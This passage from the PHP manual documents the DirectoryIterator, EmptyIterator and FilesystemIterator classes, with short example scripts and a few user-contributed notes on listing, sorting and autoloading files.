        echo $fileinfo->getFilename() . " " . $octal_perms . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg 0644
banana.jpg 0644
index.php 0744
pear.jpg 0644

See Also

  • DirectoryIterator::isExecutable() - Determine if current DirectoryIterator item is executable
  • DirectoryIterator::isReadable() - Determine if current DirectoryIterator item can be read
  • DirectoryIterator::isWritable() - Determine if current DirectoryIterator item can be written to

User Contributed Notes

There are no user contributed notes for this page.


Get size of current DirectoryIterator item

  • « DirectoryIterator::getPerms
  • DirectoryIterator::getType »
  • PHP Manual
  • DirectoryIterator
  • Get size of current DirectoryIterator item

DirectoryIterator::getSize

(PHP 5)

DirectoryIterator::getSize — Get size of current DirectoryIterator item

Description

public int DirectoryIterator::getSize ( void )

Get the file size for the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the size of the file, in bytes.

Examples

Example #1 DirectoryIterator::getSize() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " " . $fileinfo->getSize() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg 15385
banana.jpg 15190
example.php 170
pear.jpg 34406

See Also

  • filesize() - Gets file size

User Contributed Notes

There are no user contributed notes for this page.


Determine the type of the current DirectoryIterator item

  • « DirectoryIterator::getSize
  • DirectoryIterator::isDir »
  • PHP Manual
  • DirectoryIterator
  • Determine the type of the current DirectoryIterator item

DirectoryIterator::getType

(PHP 5)

DirectoryIterator::getType — Determine the type of the current DirectoryIterator item

Description

public string DirectoryIterator::getType ( void )

Determines which file type the current DirectoryIterator item belongs to. One of file, link, or dir.

Parameters

This function has no parameters.

Return Values

Returns a string representing the type of the file. May be one of file, link, or dir.

Examples

Example #1 DirectoryIterator::getType() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    echo $fileinfo->getFilename() . " " . $fileinfo->getType() . "\n";
}
?>

The above example will output something similar to:

. dir
.. dir
apple.jpg file
banana.jpg file
example.php file
pear.jpg file

See Also

  • DirectoryIterator::isDir() - Determine if current DirectoryIterator item is a directory
  • DirectoryIterator::isDot() - Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::isFile() - Determine if current DirectoryIterator item is a regular file
  • DirectoryIterator::isLink() - Determine if current DirectoryIterator item is a symbolic link

User Contributed Notes

boards at gmail dot com 09-Apr-2006 06:09
Note that this function returns the file type (e.g. "file", "dir", etc.) and not the MIME type.  To do that, you might want to use this:
<?php
for
(
  $dir = new DirectoryIterator('/some/directory');
  $dir->valid();
  $dir->next()
)
{
  $mime = mime_content_type($dir->getPathname());
}
?>


Determine if current DirectoryIterator item is a directory

  • « DirectoryIterator::getType
  • DirectoryIterator::isDot »
  • PHP Manual
  • DirectoryIterator
  • Determine if current DirectoryIterator item is a directory

DirectoryIterator::isDir

(PHP 5)

DirectoryIterator::isDir — Determine if current DirectoryIterator item is a directory

Description

public bool DirectoryIterator::isDir ( void )

Determines if the current DirectoryIterator item is a directory.

Parameters

This function has no parameters.

Return Values

Returns TRUE if it is a directory, otherwise FALSE

Examples

Example #1 DirectoryIterator::isDir() example

This example lists the directories within the directory of the current script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isDir()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

.
..
apples
bananas
pears

See Also

  • DirectoryIterator::getType() - Determine the type of the current DirectoryIterator item
  • DirectoryIterator::isDot() - Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::isFile() - Determine if current DirectoryIterator item is a regular file
  • DirectoryIterator::isLink() - Determine if current DirectoryIterator item is a symbolic link

User Contributed Notes

There are no user contributed notes for this page.


Determine if current DirectoryIterator item is '.' or '..'

  • « DirectoryIterator::isDir
  • DirectoryIterator::isExecutable »
  • PHP Manual
  • DirectoryIterator
  • Determine if current DirectoryIterator item is '.' or '..'

DirectoryIterator::isDot

(PHP 5)

DirectoryIterator::isDot — Determine if current DirectoryIterator item is '.' or '..'

Description

public bool DirectoryIterator::isDot ( void )

Determines if the current DirectoryIterator item is a directory and either . or ...

Parameters

This function has no parameters.

Return Values

TRUE if the entry is . or .., otherwise FALSE

Examples

Example #1 A DirectoryIterator::isDot() example

This example will list all files, omitting the . and .. entries.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if (!$fileinfo->isDot()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg
banana.jpg
example.php
pears.jpg

See Also

  • DirectoryIterator::getType() - Determine the type of the current DirectoryIterator item
  • DirectoryIterator::isDir() - Determine if current DirectoryIterator item is a directory
  • DirectoryIterator::isFile() - Determine if current DirectoryIterator item is a regular file
  • DirectoryIterator::isLink() - Determine if current DirectoryIterator item is a symbolic link

User Contributed Notes

There are no user contributed notes for this page.


Determine if current DirectoryIterator item is executable

  • « DirectoryIterator::isDot
  • DirectoryIterator::isFile »
  • PHP Manual
  • DirectoryIterator
  • Determine if current DirectoryIterator item is executable

DirectoryIterator::isExecutable

(PHP 5)

DirectoryIterator::isExecutable — Determine if current DirectoryIterator item is executable

Description

public bool DirectoryIterator::isExecutable ( void )

Determines if the current DirectoryIterator item is executable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the entry is executable, otherwise FALSE

Examples

Example #1 DirectoryIterator::isExecutable() example

This example lists files in the directory containing the script which are executable.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isExecutable()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

example.php
myscript.sh

See Also

  • DirectoryIterator::isReadable() - Determine if current DirectoryIterator item can be read
  • DirectoryIterator::isWritable() - Determine if current DirectoryIterator item can be written to
  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item

User Contributed Notes

There are no user contributed notes for this page.


Determine if current DirectoryIterator item is a regular file

  • « DirectoryIterator::isExecutable
  • DirectoryIterator::isLink »
  • PHP Manual
  • DirectoryIterator
  • Determine if current DirectoryIterator item is a regular file

DirectoryIterator::isFile

(PHP 5)

DirectoryIterator::isFile — Determine if current DirectoryIterator item is a regular file

Description

public bool DirectoryIterator::isFile ( void )

Determines if the current DirectoryIterator item is a regular file.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the file exists and is a regular file (not a link or dir), otherwise FALSE

Examples

Example #1 DirectoryIterator::isFile() example

This example will list all regular files in the directory containing the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg
banana.jpg
example.php
pears.jpg

See Also

  • DirectoryIterator::getType() - Determine the type of the current DirectoryIterator item
  • DirectoryIterator::isDir() - Determine if current DirectoryIterator item is a directory
  • DirectoryIterator::isDot() - Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::isLink() - Determine if current DirectoryIterator item is a symbolic link

User Contributed Notes

Philipp W. gnurepublic_at_linuxmail.org 30-Jul-2007 11:49
to actually sort a directoryiterator you need to subclass the iterator and use a comparator function similar to this one

<?php
function cmpSPLFileInfo( $splFileInfo1, $splFileInfo2 )
{
    return strcmp( $splFileInfo1->getFileName(), $splFileInfo2->getFileName() );
}

class DirList extends RecursiveDirectoryIterator
{
    private $dirArray;

    public function __construct( $p )
    {
        parent::__construct( $p );
        $this->dirArray = new ArrayObject();
        foreach( $this as $item )
        {
            $this->dirArray->append( $item );
        }
        $this->dirArray->uasort( "cmpSPLFileInfo" );
    }

    public function getIterator()
    {
        return $this->dirArray->getIterator();
    }

}
?>
DieselDriver at edu dot uni-klu dot ac dot at 24-Apr-2007 05:17
shows all .jpg files in the current directory but how does the DirectoryIterator sort the output!?

$dir=new DirectoryIterator("./");
foreach ($dir as $file) {
  if ($dir->isDot()) {continue;}    //removes . and ..
    if (strripos($file,".jpg")==true) {
      echo $file . "<br>\n";
    }
 }
kencomer at NOSPAM dot kencomer dot com 14-Sep-2005 03:49
I put in an example in __autoload, but it is useful here, too...

Yet another class/interface __autoload function. Includes an example usage of the SPL DirectoryIterator class, a settable case-ignore flag, and support for multiple file name patterns to allow easy integration from multiple sources.

<?php
/**
 * __autoload
 *
 * @author Ken Comer
 * @copyright released into public domain 2005 Ken Comer
 */

define('IGNORE_CASE',true);
// comment out the define() of IGNORE_CASE to be
//   case-sensitive. I like to ignore case so that I can
//   use UPPERCASE for the test versions of the file.

/**
 * autoloads classes and interfaces for PHP5
 *
 * @author Ken Comer
 */

function __autoload($class_name) {

  // This will be set the first time through.
  // Put your default values in the place indicated
  //    below so as to eliminate possible duplicates
  //    in the .ini include_path
  static $possible_path = NULL;
  // Leave this as NULL.

  // List here whatever formats you use for your
  //    file names. Note that, if you autoload
  //    a class that implements a non-loaded interface,
  //    you will also need to autoload that interface.
  static $permitted_formats = array(
    "&CLASS.class.inc"
    ,"&CLASS.class.inc.php"
    ,"&CLASS.class.inc.php5"
    ,"class.&CLASS.inc"
    ,"class.&CLASS.inc.php"
    ,"class.&CLASS.inc.php5"
    ,"&CLASS.interface.inc"
    ,"&CLASS.interface.inc.php"
    ,"&CLASS.interface.inc.php5"
    ,"i&CLASS.interface.inc"
    ,"i&CLASS.interface.inc.php"
    ,"i&CLASS.interface.inc.php5"
  );
  //  Put the &CLASS wherever the $class_name
  //    might appear

  // Only executed the first time __autoload is called
  if (NULL===$possible_path):
    // These are the default paths for this application
    $possible_path = array_flip(array(
        "."
        ,".."
        ,"../include"
        ,"/public_html/php/include"
    ));
    // Customize this yourself, but leave the
    //      array_flip alone. We will use this
    //      to get rid of duplicate entries from the
    //      include_path .ini list.

    // Merge the flipped arrays to get rid of duplicate
    //      "keys" (which are really the valid include
    //      paths) then strip out the keys leaving only
    //      uniques. This is marginally faster than
    //      using array_combine and array_unique and
    //      much more elegant. Okay, it's weird, too.
    $possible_path = array_keys(array_merge($possible_path,
            array_flip(explode(ini_get("include_path"),";"))));
  endif; /* static $possible_path initialization */

  $possibility = str_replace("&CLASS",$class_name,$permitted_formats);

  foreach ( $possible_path as $directory ) {
    if (!file_exists($directory) or !is_dir($directory))
    {
      continue;
    }
    $file_to_check = new DirectoryIterator($directory);

    foreach ( $file_to_check as $file ) {
      // ignore directories and files that do not contain
      // $class_name
      if ( !$file->isDir()
          and ( defined(IGNORE_CASE) && TRUE===IGNORE_CASE )
            ? stripos($file->getFileName(),$class_name)
            : strpos($file->getFileName(),$class_name) ) :

        // class_name was included, now compare against
        // all permitted file name patterns
        foreach ( $possibility as $compare ):
            if ((defined(IGNORE_CASE) && TRUE===IGNORE_CASE )
                ? !strcasecmp($compare,$file->getFileName())
                : $compare===$file->getFileName()
            ) {
              // by using $compare, you will get a qualified
              //    file name
              include_once($compare);
              return TRUE;
            }
        endforeach; /* $possibility */

      endif;
    } /* foreach $file_to_check */
  }
}
?>
ludvig dot ericson at gmail dot com 31-Aug-2005 01:29
Usage:
<?php
//open current directory
$dir = new DirectoryIterator(".");
// use do .. while since we need to iterate atleast once
// and the first two items are always "." and ".."
do  {
    // if it isn't "." or ".."
    if (!$dir->isDot()) {
        // echo out pathname and "/" if it's a directory
        echo $dir->getPathname() . ($dir->isDir() ? "/" : "");
    }
} while ($dir->next())
?>

Outputs something like:
/path/file1
/path/dir1/
/path/file2
/path/file3
/path/dir2/

---
Note from the extension author:

Try this:

<?php
foreach(new DirectoryIterator(".") as $file)
{
    if (!$file->isDot()) {
        echo $file->getPathname() . ($file->isDir() ? "/" : "");
    }
}
?>


Determine if current DirectoryIterator item is a symbolic link

  • « DirectoryIterator::isFile
  • DirectoryIterator::isReadable »
  • PHP Manual
  • DirectoryIterator
  • Determine if current DirectoryIterator item is a symbolic link

DirectoryIterator::isLink

(PHP 5)

DirectoryIterator::isLink — Determine if current DirectoryIterator item is a symbolic link

Description

public bool DirectoryIterator::isLink ( void )

Determines if the current DirectoryIterator item is a symbolic link.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the item is a symbolic link, otherwise FALSE

Examples

Example #1 A DirectoryIterator::isLink() example

This example contains a recursive function for removing a directory tree.

<?php
/**
 * This function will recursively delete all files in the given path, without
 * following symlinks.
 *
 * @param string $path Path to the directory to remove.
 */
function removeDir($path) {
    $dir = new DirectoryIterator($path);
    foreach ($dir as $fileinfo) {
        if ($fileinfo->isFile() || $fileinfo->isLink()) {
            unlink($fileinfo->getPathName());
        } elseif (!$fileinfo->isDot() && $fileinfo->isDir()) {
            removeDir($fileinfo->getPathName());
        }
    }
    rmdir($path);
}

removeDir('foo');
?>

See Also

  • DirectoryIterator::getType() - Determine the type of the current DirectoryIterator item
  • DirectoryIterator::isDir() - Determine if current DirectoryIterator item is a directory
  • DirectoryIterator::isDot() - Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::isFile() - Determine if current DirectoryIterator item is a regular file

User Contributed Notes

There are no user contributed notes for this page.


Determine if current DirectoryIterator item can be read

  • « DirectoryIterator::isLink
  • DirectoryIterator::isWritable »
  • PHP Manual
  • DirectoryIterator
  • Determine if current DirectoryIterator item can be read

DirectoryIterator::isReadable

(PHP 5)

DirectoryIterator::isReadable — Determine if current DirectoryIterator item can be read

Description

public bool DirectoryIterator::isReadable ( void )

Determines if the current DirectoryIterator item is readable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the file is readable, otherwise FALSE

Examples

Example #1 DirectoryIterator::isReadable() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isReadable()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

apple.jpg
banana.jpg
example.php
pears.jpg

See Also

  • DirectoryIterator::isExecutable() - Determine if current DirectoryIterator item is executable
  • DirectoryIterator::isWritable() - Determine if current DirectoryIterator item can be written to
  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item

User Contributed Notes

There are no user contributed notes for this page.


Determine if current DirectoryIterator item can be written to

  • « DirectoryIterator::isReadable
  • DirectoryIterator::key »
  • PHP Manual
  • DirectoryIterator
  • Determine if current DirectoryIterator item can be written to

DirectoryIterator::isWritable

(PHP 5)

DirectoryIterator::isWritable — Determine if current DirectoryIterator item can be written to

Description

public bool DirectoryIterator::isWritable ( void )

Determines if the current DirectoryIterator item is writable.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the file/directory is writable, otherwise FALSE

Examples

Example #1 DirectoryIterator::isWritable() example

This example lists the files and directories which can be opened for writing in the directory containing the script.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isWritable()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

apples.txt
bananas.html
pears

See Also

  • DirectoryIterator::getPerms() - Get the permissions of current DirectoryIterator item
  • DirectoryIterator::isExecutable() - Determine if current DirectoryIterator item is executable
  • DirectoryIterator::isReadable() - Determine if current DirectoryIterator item can be read

User Contributed Notes

There are no user contributed notes for this page.


Return the key for the current DirectoryIterator item

  • « DirectoryIterator::isWritable
  • DirectoryIterator::next »
  • PHP Manual
  • DirectoryIterator
  • Return the key for the current DirectoryIterator item

DirectoryIterator::key

(PHP 5)

DirectoryIterator::key — Return the key for the current DirectoryIterator item

Description

public string DirectoryIterator::key ( void )

Get the key for the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

The key for the current DirectoryIterator item.

Examples

Example #1 A DirectoryIterator::key() example

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    if (!$fileinfo->isDot()) {
        echo $fileinfo->key() . " => " . $fileinfo->getFilename() . "\n";
    }
}
?>

The above example will output something similar to:

0 => apple.jpg
1 => banana.jpg
2 => index.php
3 => pear.jpg

See Also

  • DirectoryIterator::current() - Return the current DirectoryIterator item.
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::key() - Return the key of the current element

User Contributed Notes

There are no user contributed notes for this page.


Move forward to next DirectoryIterator item

  • « DirectoryIterator::key
  • DirectoryIterator::rewind »
  • PHP Manual
  • DirectoryIterator
  • Move forward to next DirectoryIterator item

DirectoryIterator::next

(PHP 5)

DirectoryIterator::next — Move forward to next DirectoryIterator item

Description

public void DirectoryIterator::next ( void )

Move forward to the next DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 DirectoryIterator::next() example

List the contents of a directory using a while loop.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
while($iterator->valid()) {
    echo $iterator->getFilename() . "\n";
    $iterator->next();
}
?>

The above example will output something similar to:

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

See Also

  • DirectoryIterator::current() - Return the current DirectoryIterator item.
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::next() - Move forward to next element

User Contributed Notes

There are no user contributed notes for this page.


Rewind the DirectoryIterator back to the start

  • « DirectoryIterator::next
  • DirectoryIterator::seek »
  • PHP Manual
  • DirectoryIterator
  • Rewind the DirectoryIterator back to the start

DirectoryIterator::rewind

(PHP 5)

DirectoryIterator::rewind — Rewind the DirectoryIterator back to the start

Description

public void DirectoryIterator::rewind ( void )

Rewind the DirectoryIterator back to the start.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 DirectoryIterator::rewind() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); //rewinding to the beginning
echo $iterator->key(); //0
?>

See Also

  • DirectoryIterator::current() - Return the current DirectoryIterator item.
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::valid() - Check whether current DirectoryIterator position is a valid file
  • Iterator::rewind() - Rewind the Iterator to the first element

User Contributed Notes

There are no user contributed notes for this page.


Seek to a DirectoryIterator item

  • « DirectoryIterator::rewind
  • DirectoryIterator::__toString »
  • PHP Manual
  • DirectoryIterator
  • Seek to a DirectoryIterator item

DirectoryIterator::seek

(PHP 5 >= 5.3.0)

DirectoryIterator::seek — Seek to a DirectoryIterator item

Description

public void DirectoryIterator::seek ( int $position )

Seek to a given position in the DirectoryIterator.

Parameters

position

The zero-based numeric position to seek to.

Return Values

No value is returned.

Examples

Example #1 DirectoryIterator::seek() example

Seek to the fourth item in the directory containing the script. The first two are usually . and ..

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
$iterator->seek(3);
if ($iterator->valid()) {
    echo $iterator->getFilename();
} else {
    echo 'No file at position 3';
}
?>

See Also

  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • SeekableIterator::seek() - Seeks to a position

User Contributed Notes

There are no user contributed notes for this page.


Get file name as a string

  • « DirectoryIterator::seek
  • DirectoryIterator::valid »
  • PHP Manual
  • DirectoryIterator
  • Get file name as a string

DirectoryIterator::__toString

(PHP 5)

DirectoryIterator::__toString — Get file name as a string

Description

public string DirectoryIterator::__toString ( void )

Get the file name of the current DirectoryIterator item.

Parameters

This function has no parameters.

Return Values

Returns the file name of the current DirectoryIterator item.

Examples

Example #1 A DirectoryIterator::__toString() example

This example will list the contents of the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    echo $fileinfo;
}
?>

The above example will output something similar to:

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

See Also

  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • The __toString() magic method

User Contributed Notes

There are no user contributed notes for this page.


Check whether current DirectoryIterator position is a valid file

  • « DirectoryIterator::__toString
  • EmptyIterator »
  • PHP Manual
  • DirectoryIterator
  • Check whether current DirectoryIterator position is a valid file

DirectoryIterator::valid

(PHP 5)

DirectoryIterator::valid — Check whether current DirectoryIterator position is a valid file

Description

public bool DirectoryIterator::valid ( void )

Check whether current DirectoryIterator position is a valid file.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the position is valid, otherwise FALSE

Examples

Example #1 A DirectoryIterator::valid() example

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));

// Loop to end of iterator
while($iterator->valid()) {
    $iterator->next();
}

$iterator->valid(); // FALSE
$iterator->rewind();
$iterator->valid(); // TRUE

?>

See Also

  • DirectoryIterator::current() - Return the current DirectoryIterator item.
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::next() - Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start
  • Iterator::valid() - Checks if current position is valid

User Contributed Notes

josh dot butts at vertive dot com 02-Sep-2008 06:47
This function, as far as I can tell, returns boolean, not string.

$di = new DirectoryIterator(/path/to/iterate);
while ($di->valid())
{
    echo $di->getPathname() . "\n";
    $di->next();
}


The EmptyIterator class

(PHP 5 >= 5.1.0)

Introduction

The EmptyIterator class for an empty iterator.

Class synopsis

EmptyIterator implements Iterator {
/* Methods */
public void current ( void )
public void key ( void )
public void next ( void )
public void rewind ( void )
public void valid ( void )
}

Table of Contents

  • EmptyIterator::current — The current() method
  • EmptyIterator::key — The key() method
  • EmptyIterator::next — The next() method
  • EmptyIterator::rewind — The rewind() method
  • EmptyIterator::valid — The valid() method

User Contributed Notes

There are no user contributed notes for this page.


The current() method

  • « EmptyIterator
  • EmptyIterator::key »
  • PHP Manual
  • EmptyIterator
  • The current() method

EmptyIterator::current

(PHP 5 >= 5.1.0)

EmptyIterator::current — The current() method

Description

public void EmptyIterator::current ( void )

This function must not be called. It throws an exception upon access.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Errors/Exceptions

Throws an Exception if called.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The key() method

  • « EmptyIterator::current
  • EmptyIterator::next »
  • PHP Manual
  • EmptyIterator
  • The key() method

EmptyIterator::key

(PHP 5 >= 5.1.0)

EmptyIterator::key — The key() method

Description

public void EmptyIterator::key ( void )

This function must not be called. It throws an exception upon access.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Errors/Exceptions

Throws an Exception if called.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The next() method

  • « EmptyIterator::key
  • EmptyIterator::rewind »
  • PHP Manual
  • EmptyIterator
  • The next() method

EmptyIterator::next

(PHP 5 >= 5.1.0)

EmptyIterator::next — The next() method

Description

public void EmptyIterator::next ( void )

No operation, nothing to do.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The rewind() method

  • « EmptyIterator::next
  • EmptyIterator::valid »
  • PHP Manual
  • EmptyIterator
  • The rewind() method

EmptyIterator::rewind

(PHP 5 >= 5.1.0)

EmptyIterator::rewind — The rewind() method

Description

public void EmptyIterator::rewind ( void )

No operation, nothing to do.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The valid() method

  • « EmptyIterator::rewind
  • FilesystemIterator »
  • PHP Manual
  • EmptyIterator
  • The valid() method

EmptyIterator::valid

(PHP 5 >= 5.1.0)

EmptyIterator::valid — The valid() method

Description

public void EmptyIterator::valid ( void )

The EmptyIterator valid() method.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

FALSE

User Contributed Notes

There are no user contributed notes for this page.


The FilesystemIterator class

(PHP 5 >= 5.3.0)

Introduction

The Filesystem iterator

Class synopsis

FilesystemIterator extends DirectoryIterator implements SeekableIterator {
/* Constants */
const integer CURRENT_AS_PATHNAME = 32 ;
const integer CURRENT_AS_FILEINFO = 0 ;
const integer CURRENT_AS_SELF = 16 ;
const integer CURRENT_MODE_MASK = 240 ;
const integer KEY_AS_PATHNAME = 0 ;
const integer KEY_AS_FILENAME = 256 ;
const integer FOLLOW_SYMLINKS = 512 ;
const integer KEY_MODE_MASK = 3840 ;
const integer NEW_CURRENT_AND_KEY = 256 ;
const integer SKIP_DOTS = 4096 ;
const integer UNIX_PATHS = 8192 ;
/* Methods */
public __construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS ] )
public mixed current ( void )
public int getFlags ( void )
public string key ( void )
public void next ( void )
public void rewind ( void )
public void setFlags ([ int $flags ] )
/* Inherited methods */
public DirectoryIterator DirectoryIterator::current ( void )
public int DirectoryIterator::getATime ( void )
public string DirectoryIterator::getBasename ([ string $suffix ] )
public int DirectoryIterator::getCTime ( void )
public string DirectoryIterator::getExtension ( void )
public string DirectoryIterator::getFilename ( void )
public int DirectoryIterator::getGroup ( void )
public int DirectoryIterator::getInode ( void )
public int DirectoryIterator::getMTime ( void )
public int DirectoryIterator::getOwner ( void )
public string DirectoryIterator::getPath ( void )
public string DirectoryIterator::getPathname ( void )
public int DirectoryIterator::getPerms ( void )
public int DirectoryIterator::getSize ( void )
public string DirectoryIterator::getType ( void )
public bool DirectoryIterator::isDir ( void )
public bool DirectoryIterator::isDot ( void )
public bool DirectoryIterator::isExecutable ( void )
public bool DirectoryIterator::isFile ( void )
public bool DirectoryIterator::isLink ( void )
public bool DirectoryIterator::isReadable ( void )
public bool DirectoryIterator::isWritable ( void )
public string DirectoryIterator::key ( void )
public void DirectoryIterator::next ( void )
public void DirectoryIterator::rewind ( void )
public void DirectoryIterator::seek ( int $position )
public string DirectoryIterator::__toString ( void )
public bool DirectoryIterator::valid ( void )
}

Predefined Constants

FilesystemIterator::CURRENT_AS_PATHNAME

Makes FilesystemIterator::current() return the pathname.

FilesystemIterator::CURRENT_AS_FILEINFO

Makes FilesystemIterator::current() return an SplFileInfo instance.

FilesystemIterator::CURRENT_AS_SELF

Makes FilesystemIterator::current() return $this (the FilesystemIterator).

FilesystemIterator::CURRENT_MODE_MASK

Masks FilesystemIterator::current()

FilesystemIterator::KEY_AS_PATHNAME

Makes FilesystemIterator::key() return the pathname.

FilesystemIterator::KEY_AS_FILENAME

Makes FilesystemIterator::key() return the filename.

FilesystemIterator::FOLLOW_SYMLINKS

Makes RecursiveDirectoryIterator::hasChildren() follow symlinks.

FilesystemIterator::KEY_MODE_MASK

Masks FilesystemIterator::key()

FilesystemIterator::NEW_CURRENT_AND_KEY

Same as FilesystemIterator::KEY_AS_FILENAME | FilesystemIterator::CURRENT_AS_FILEINFO.

FilesystemIterator::SKIP_DOTS

Skips dot files (. and ..).

FilesystemIterator::UNIX_PATHS

Makes paths use Unix-style forward slash irrespective of system default.

Changelog

Version | Description
5.3.1 | Added FilesystemIterator::FOLLOW_SYMLINKS

Table of Contents

  • FilesystemIterator::__construct — Constructs a new filesystem iterator
  • FilesystemIterator::current — The current file
  • FilesystemIterator::getFlags — Get the handling flags
  • FilesystemIterator::key — Retrieve the key for the current file
  • FilesystemIterator::next — Move to the next file
  • FilesystemIterator::rewind — Rewinds back to the beginning
  • FilesystemIterator::setFlags — Sets handling flags

User Contributed Notes

paul at paulgarvin dot net 11-May-2014 12:08
You may be wondering, like I did, what is the difference between this class and DirectoryIterator?

When you iteterate using DirectoryIterator each "value" returned is the same DirectoryIterator object. The internal state is changed so when you call isDir(), getPathname(), etc the correct information is returned. If you were to ask for a key when iterating you will get an integer index value.

FilesystemIterator (and RecursiveDirectoryIterator) on the other hand returns a new, different SplFileInfo object for each iteration step. The key is the full pathname of the file. This is by default. You can change what is returned for the key or value using the "flags" arguement to the constructor.


Constructs a new filesystem iterator

  • « FilesystemIterator
  • FilesystemIterator::current »
  • PHP Manual
  • FilesystemIterator
  • Constructs a new filesystem iterator

FilesystemIterator::__construct

(PHP 5 >= 5.3.0)

FilesystemIterator::__construct — Constructs a new filesystem iterator

Description

public FilesystemIterator::__construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS ] )

Constructs a new filesystem iterator from the path.

Parameters

path

The path of the filesystem item to be iterated over.

flags

Flags may be provided which will affect the behavior of some methods. A list of the flags can found under FilesystemIterator predefined constants. They can also be set later with FilesystemIterator::setFlags()

Return Values

No value is returned.

Errors/Exceptions

Throws an UnexpectedValueException if the path cannot be found.

Examples

Example #1 FilesystemIterator::__construct() example

<?php
$it = new FilesystemIterator(dirname(__FILE__));
foreach ($it as $fileinfo) {
    echo $fileinfo->getFilename() . "\n";
}
?>

The above example will output:

apples.jpg
banana.jpg
example.php

See Also

  • FilesystemIterator::setFlags() - Sets handling flags
  • DirectoryIterator::__construct() - Constructs a new directory iterator from a path

User Contributed Notes

There are no user contributed notes for this page.


The current file

  • « FilesystemIterator::__construct
  • FilesystemIterator::getFlags »
  • PHP Manual
  • FilesystemIterator
  • The current file

FilesystemIterator::current

(PHP 5 >= 5.3.0)

FilesystemIterator::current — The current file

Description

public mixed FilesystemIterator::current ( void )

Get file information of the current element.

Parameters

This function has no parameters.

Return Values

The filename, file information, or $this depending on the set flags. See the FilesystemIterator constants.

Examples

Example #1 FilesystemIterator::current() example

This example will list the contents of the directory containing the script.

<?php
$iterator = new FilesystemIterator(__DIR__, FilesystemIterator::CURRENT_AS_PATHNAME);
